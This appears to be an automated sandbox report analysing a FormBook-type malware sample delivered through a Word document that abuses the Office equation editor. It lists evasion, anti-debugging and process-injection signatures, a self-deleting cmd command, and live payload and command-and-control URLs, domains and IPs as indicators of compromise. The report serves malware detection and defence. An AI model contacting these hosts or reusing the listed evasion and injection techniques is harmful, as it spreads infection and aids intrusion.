Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: ~WRF{79E0ADDF-4BCA-42D2-95DC-650BFEE60233}.tmp.0.dr Stream path '_1696857852/\x1OLe10NATivE' entropy: 7.99643695753 (max. 8.0)

Malware Analysis System Evasion:

barindex
Yara detected AntiVM3
Source: Yara match File source: 4.2.villar8681.exe.2500978.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.427737802.00000000024D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: villar8681.exe PID: 2808, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: villar8681.exe, 00000004.00000002.427737802.00000000024D1000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Source: villar8681.exe, 00000004.00000002.427737802.00000000024D1000.00000004.00000001.sdmp Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Roaming\villar8681.exe RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Roaming\villar8681.exe RDTSC instruction interceptor: First address: 0000000000409B6E second address: 0000000000409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\raserver.exe RDTSC instruction interceptor: First address: 0000000000089904 second address: 000000000008990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\raserver.exe RDTSC instruction interceptor: First address: 0000000000089B6E second address: 0000000000089B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1184 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe TID: 1188 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 1724 Thread sleep time: -34000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe TID: 2012 Thread sleep time: -32000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\raserver.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00409AA0 rdtsc 5_2_00409AA0
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\villar8681.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: villar8681.exe, 00000004.00000002.427737802.00000000024D1000.00000004.00000001.sdmp Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: explorer.exe, 00000006.00000000.437869266.000000000031D000.00000004.00000020.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000006.00000000.437621444.0000000000255000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: villar8681.exe, 00000004.00000002.427737802.00000000024D1000.00000004.00000001.sdmp Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: villar8681.exe, 00000004.00000002.427737802.00000000024D1000.00000004.00000001.sdmp Binary or memory string: vmware
Source: explorer.exe, 00000006.00000000.451281002.0000000004513000.00000004.00000001.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0)\Co>
Source: explorer.exe, 00000006.00000000.506462418.000000000457A000.00000004.00000001.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 00000006.00000000.442969778.00000000044E7000.00000004.00000001.sdmp Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0
Source: explorer.exe, 00000006.00000000.428319083.000000000029B000.00000004.00000020.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0*N
Source: explorer.exe, 00000006.00000000.506586274.00000000045CF000.00000004.00000001.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: villar8681.exe, 00000004.00000002.427737802.00000000024D1000.00000004.00000001.sdmp Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Anti Debugging:

barindex
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00409AA0 rdtsc 5_2_00409AA0
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008826F8 mov eax, dword ptr fs:[00000030h] 5_2_008826F8
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021926F8 mov eax, dword ptr fs:[00000030h] 7_2_021926F8
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0040ACE0 LdrLoadDll, 5_2_0040ACE0
Source: C:\Users\user\AppData\Roaming\villar8681.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.charlotte-s-creations.com
Source: C:\Windows\explorer.exe Network Connect: 54.156.84.168 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.filecrev.com
Source: C:\Windows\explorer.exe Network Connect: 202.165.66.108 80 Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Roaming\villar8681.exe Section unmapped: C:\Windows\SysWOW64\raserver.exe base address: 740000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Roaming\villar8681.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Section loaded: unknown target: C:\Windows\SysWOW64\raserver.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Section loaded: unknown target: C:\Windows\SysWOW64\raserver.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\villar8681.exe Memory written: C:\Users\user\AppData\Roaming\villar8681.exe base: 400000 value starts with: 4D5A Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\AppData\Roaming\villar8681.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\AppData\Roaming\villar8681.exe Thread register set: target process: 1764 Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe Thread register set: target process: 1764 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\villar8681.exe C:\Users\user\AppData\Roaming\villar8681.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process created: C:\Users\user\AppData\Roaming\villar8681.exe C:\Users\user\AppData\Roaming\villar8681.exe Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\villar8681.exe' Jump to behavior
Source: explorer.exe, 00000006.00000000.503298615.0000000000750000.00000002.00020000.sdmp, raserver.exe, 00000007.00000002.679827262.0000000000A80000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.437621444.0000000000255000.00000004.00000020.sdmp Binary or memory string: ProgmanG
Source: explorer.exe, 00000006.00000000.503298615.0000000000750000.00000002.00020000.sdmp, raserver.exe, 00000007.00000002.679827262.0000000000A80000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: explorer.exe, 00000006.00000000.503298615.0000000000750000.00000002.00020000.sdmp, raserver.exe, 00000007.00000002.679827262.0000000000A80000.00000002.00020000.sdmp Binary or memory string: Program Manager<

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\villar8681.exe Queries volume information: C:\Users\user\AppData\Roaming\villar8681.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 5.0.villar8681.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.villar8681.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.villar8681.exe.365d7a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.villar8681.exe.360e380.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.462612557.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679408045.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.446496993.00000000090FF000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.462947003.00000000005D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.424304556.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679459797.00000000001A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.454018128.00000000090FF000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.462778282.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679586100.00000000002F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.427990655.00000000034D9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.424856799.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 5.0.villar8681.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.villar8681.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.villar8681.exe.365d7a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.villar8681.exe.360e380.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.462612557.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679408045.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.446496993.00000000090FF000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.462947003.00000000005D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.424304556.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679459797.00000000001A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.454018128.00000000090FF000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.462778282.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679586100.00000000002F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.427990655.00000000034D9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.424856799.0000000000400000.00000040.00000001.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 510256 Sample: Purchase order.doc Startdate: 27/10/2021 Architecture: WINDOWS Score: 100 39 www.tapehitsscriptsparty.com 2->39 55 Multi AV Scanner detection for domain / URL 2->55 57 Found malware configuration 2->57 59 Malicious sample detected (through community Yara rule) 2->59 61 15 other signatures 2->61 11 EQNEDT32.EXE 11 2->11         started        16 WINWORD.EXE 291 20 2->16         started        signatures3 process4 dnsIp5 47 binatonezx.tk 2.56.59.211, 49167, 80 GBTCLOUDUS Netherlands 11->47 33 C:\Users\user\AppData\...\villar8681.exe, PE32 11->33 dropped 35 C:\Users\user\AppData\...\villarzx[1].exe, PE32 11->35 dropped 79 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 11->79 18 villar8681.exe 1 5 11->18         started        37 ~WRF{79E0ADDF-4BCA...C-650BFEE60233}.tmp, Composite 16->37 dropped file6 signatures7 process8 signatures9 49 Multi AV Scanner detection for dropped file 18->49 51 Tries to detect virtualization through RDTSC time measurements 18->51 53 Injects a PE file into a foreign processes 18->53 21 villar8681.exe 18->21         started        process10 signatures11 63 Modifies the context of a thread in another process (thread injection) 21->63 65 Maps a DLL or memory area into another process 21->65 67 Sample uses process hollowing technique 21->67 69 Queues an APC in another process (thread injection) 21->69 24 explorer.exe 21->24 injected process12 dnsIp13 41 www.filecrev.com 202.165.66.108, 49168, 80 VPIS-APVADSManagedBusinessInternetServiceProviderMY Australia 24->41 43 www.charlotte-s-creations.com 24->43 45 2 other IPs or domains 24->45 71 System process connects to network (likely due to code injection or exploit) 24->71 28 raserver.exe 24->28         started        signatures14 process15 signatures16 73 Modifies the context of a thread in another process (thread injection) 28->73 75 Maps a DLL or memory area into another process 28->75 77 Tries to detect virtualization through RDTSC time measurements 28->77 31 cmd.exe 28->31         started        process17
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
2.56.59.211
 binatonezx.tk Netherlands
395800 GBTCLOUDUS true
54.156.84.168
 caddy-2-4-3-a154c717787f8b4f.elb.us-east-1.amazonaws.com United States
14618 AMAZON-AESUS false
202.165.66.108
 www.filecrev.com Australia
18206 VPIS-APVADSManagedBusinessInternetServiceProviderMY true

Contacted Domains

Name IP Active
caddy-2-4-3-a154c717787f8b4f.elb.us-east-1.amazonaws.com 54.156.84.168 true
binatonezx.tk 2.56.59.211 true
www.filecrev.com 202.165.66.108 true
www.charlotte-s-creations.com unknown unknown
www.tapehitsscriptsparty.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
www.filecrev.com/jy0b/ true
  • Avira URL Cloud: safe
 low
http://www.filecrev.com/jy0b/?06384Dqp=TyGDJhL/cA+57wfufaZRyMMrQk8uPd2d6NfY81Rsj46bZhOJLXgZ522BupBE7+BqQsP88Q==&ct=Xhh4nL38YNvpj true
  • Avira URL Cloud: safe
 unknown
http://www.charlotte-s-creations.com/jy0b/?06384Dqp=AerW1ym2Fscv67+RpL/0se6tZB+gK2Llczeyi+qylm7PPSapsOoYwZFX50tzMVhi1EMssA==&ct=Xhh4nL38YNvpj true
  • Avira URL Cloud: safe
 unknown
http://binatonezx.tk/villarzx.exe true
  • Avira URL Cloud: malware
 unknown